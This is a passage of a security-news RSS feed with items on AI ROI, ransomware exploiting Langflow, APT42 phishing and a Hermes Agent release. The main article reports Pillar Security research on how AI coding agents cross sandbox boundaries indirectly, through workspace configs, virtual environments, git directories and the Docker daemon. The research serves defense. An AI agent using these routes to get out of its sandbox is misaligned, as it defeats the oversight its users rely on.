<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Langflow RCE: ENCFORGE verschlüsselt KI-Modelle, Vektoren und Trainingsdaten]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine Folgeattacke auf dieselbe Langflow-Instanz nutzt die RCE-Schwachstelle CVE-2025-3248, um nun speziell KI-Artefakte zu verschlüsseln. Der neue Go-Locker ENCFORGE zielt auf Model-Weights, Vektorindizes und Trainingsdaten quer über das Host-Dateisystem. Dabei baut der Ang...]]></description>
<link>https://tsecurity.de/de/3685038/it-security-nachrichten/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685038/it-security-nachrichten/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten/</guid>
<pubDate>Wed, 22 Jul 2026 02:12:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine Folgeattacke auf dieselbe Langflow-Instanz nutzt die RCE-Schwachstelle CVE-2025-3248, um nun speziell KI-Artefakte zu verschlüsseln. Der neue Go-Locker ENCFORGE zielt auf Model-Weights, Vektorindizes und Trainingsdaten quer über das Host-Dateisystem. Dabei baut der Angreifer den Zugriff über den freigelegten Docker-Socket und startet einen privilegierten Container, um Prozesse und Daten auf dem Host […]</p>
<div><a href="https://www.it-boltwise.de/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten.html">... den vollständigen Artikel <strong>»Langflow RCE: ENCFORGE verschlüsselt KI-Modelle, Vektoren und Trainingsdaten«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten.html">Langflow RCE: ENCFORGE verschlüsselt KI-Modelle, Vektoren und Trainingsdaten</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Git Pull Kept Failing on My Ghost Server. Docker Compose Override Fixed It]]></title>
<description><![CDATA[Modifying your docker-compose.yml directly and now git pull throws a "local changes would be overwritten" error? Use a compose.override.yml file to keep your changes separate from the file Ghost's repo manages.]]></description>
<link>https://tsecurity.de/de/3683935/linux-tipps/git-pull-kept-failing-on-my-ghost-server-docker-compose-override-fixed-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683935/linux-tipps/git-pull-kept-failing-on-my-ghost-server-docker-compose-override-fixed-it/</guid>
<pubDate>Tue, 21 Jul 2026 15:54:15 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Modifying your docker-compose.yml directly and now git pull throws a "local changes would be overwritten" error? Use a compose.override.yml file to keep your changes separate from the file Ghost's repo manages.]]></content:encoded>
</item>
<item>
<title><![CDATA[APT42 Uses AI-Assisted Phishing and TAMECAT Malware to Target Government and Defense Officials]]></title>
<description><![CDATA[APT42, an Iran-linked cyber espionage group, has expanded its phishing operations with AI-assisted research, convincing personas, and a more resilient version of its TAMECAT malware. The campaign has targeted senior government and defense officials, policy experts, and, in some cases, family memb...]]></description>
<link>https://tsecurity.de/de/3683920/it-security-nachrichten/apt42-uses-ai-assisted-phishing-and-tamecat-malware-to-target-government-and-defense-officials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683920/it-security-nachrichten/apt42-uses-ai-assisted-phishing-and-tamecat-malware-to-target-government-and-defense-officials/</guid>
<pubDate>Tue, 21 Jul 2026 15:52:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>APT42, an Iran-linked cyber espionage group, has expanded its phishing operations with AI-assisted research, convincing personas, and a more resilient version of its TAMECAT malware. The campaign has targeted senior government and defense officials, policy experts, and, in some cases, family members connected to high-value individuals. Rather than relying on large volumes of suspicious emails, […]</p>
<p>The post <a href="https://cybersecuritynews.com/apt42-uses-ai-assisted-phishing-and-tamecat-malware/">APT42 Uses AI-Assisted Phishing and TAMECAT Malware to Target Government and Defense Officials</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge]]></title>
<description><![CDATA[Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating…
Read more →
The post 2026 Ransomware R...]]></description>
<link>https://tsecurity.de/de/3683815/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683815/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</guid>
<pubDate>Tue, 21 Jul 2026 15:25:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/">2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge]]></title>
<description><![CDATA[Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attac...]]></description>
<link>https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</guid>
<pubDate>Tue, 21 Jul 2026 14:54:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attacker visibility that often outpaces defenders’ own understanding of their […]</p>
<p>The post <a href="https://gbhackers.com/2026-ransomware-report/">2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents can escape sandboxes without ever breaking them]]></title>
<description><![CDATA[Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. 



Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity c...]]></description>
<link>https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. </p>



<p class="wp-block-paragraph">Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.</p>



<p class="wp-block-paragraph">“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”</p>



<p class="wp-block-paragraph">The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.</p>



<p class="wp-block-paragraph">“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.</p>



<h2 class="wp-block-heading">Escaping sandboxes without breaking them</h2>



<p class="wp-block-paragraph">Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.</p>



<p class="wp-block-paragraph">In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.</p>



<p class="wp-block-paragraph">Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.</p>



<h2 class="wp-block-heading">Different sandbox escapes for different agents</h2>



<p class="wp-block-paragraph">Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers <a href="https://www.pillar.security/blog/escaping-antigravitys-allow-default-seatbelt" target="_blank" rel="noreferrer noopener">exploited</a> weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created <a href="https://www.pillar.security/blog/the-sandbox-let-me-edit-a-venv-and-something-else-ran-it" target="_blank" rel="noreferrer noopener">Python virtual environments</a>, alternate <a href="https://www.pillar.security/blog/git-directories-do-not-have-to-be-called-git" target="_blank" rel="noreferrer noopener">Git directories</a>, and workspace <a href="https://www.pillar.security/blog/the-hook-was-already-in-the-workspace" target="_blank" rel="noreferrer noopener">hook configurations </a>that ultimately ran with host privileges.</p>



<p class="wp-block-paragraph">The researchers also found a <a href="https://www.pillar.security/blog/one-docker-socket-to-rule-them-all-escaping-codex-cursor-and-gemini-clis-sandboxes" target="_blank" rel="noreferrer noopener">common escape path</a> affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.</p>



<p class="wp-block-paragraph">In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.</p>



<h2 class="wp-block-heading">Agentic development demands a different security model</h2>



<p class="wp-block-paragraph">Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.</p>



<p class="wp-block-paragraph">The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content. </p>



<p class="wp-block-paragraph">Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Not enough water for UK’s datacentre plans, trade body says]]></title>
<description><![CDATA[Industry says government’s failure to address cooling demands means AI growth plans are ‘fatally flawed’The UK will not have enough water for future datacentres, the water industry has said in stark criticism of the government’s AI growth plans.Datacentres rely on large amounts of water to manage...]]></description>
<link>https://tsecurity.de/de/3682629/ai-nachrichten/not-enough-water-for-uks-datacentre-plans-trade-body-says/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682629/ai-nachrichten/not-enough-water-for-uks-datacentre-plans-trade-body-says/</guid>
<pubDate>Tue, 21 Jul 2026 06:03:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Industry says government’s failure to address cooling demands means AI growth plans are ‘fatally flawed’</p><p>The UK will not have enough water for future datacentres, the water industry has said in stark criticism of the government’s AI growth plans.</p><p>Datacentres rely on large amounts of water to manage the heat generated by densely packed servers. Cooling towers, chillers and humidification systems make direct use of this water, with large volumes also consumed indirectly through high electrical power needs.</p> <a href="https://www.theguardian.com/environment/2026/jul/21/not-enough-water-for-uks-datacentre-plans-trade-body-says">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mt Sync - (Auto)Mount and Sync your data from anywhere]]></title>
<description><![CDATA[It seems like I'm the only one how want to just go to a network share an an application after I login and the files are just there. No having to go mount anything first, what a wasteful step that is. :) So after making a gnome extension for gvfs mounts/shares, I thought it would be great if I cou...]]></description>
<link>https://tsecurity.de/de/3682514/linux-tipps/mt-sync-automount-and-sync-your-data-from-anywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682514/linux-tipps/mt-sync-automount-and-sync-your-data-from-anywhere/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>It seems like I'm the only one how want to just go to a network share an an application after I login and the files are just there. No having to go mount anything first, what a wasteful step that is. :) So after making a gnome extension for gvfs mounts/shares, I thought it would be great if I could mount other types of storage the same way and even sync data between them. I got close to buying rcloneview for its paywalled features when I decided to go do my own thing, introducing Mt Sync: <a href="https://codeberg.org/gavindi/MtSync">https://codeberg.org/gavindi/MtSync</a></p> <p>Sharing since maybe just maybe there's someone else who misses the Windows "reconnect drive at login" feature..... 🤷‍♂️️</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/gavindi"> /u/gavindi </a> <br> <span><a href="https://i.redd.it/hayjzb84rfeh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1vc7m/mt_sync_automount_and_sync_your_data_from_anywhere/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" 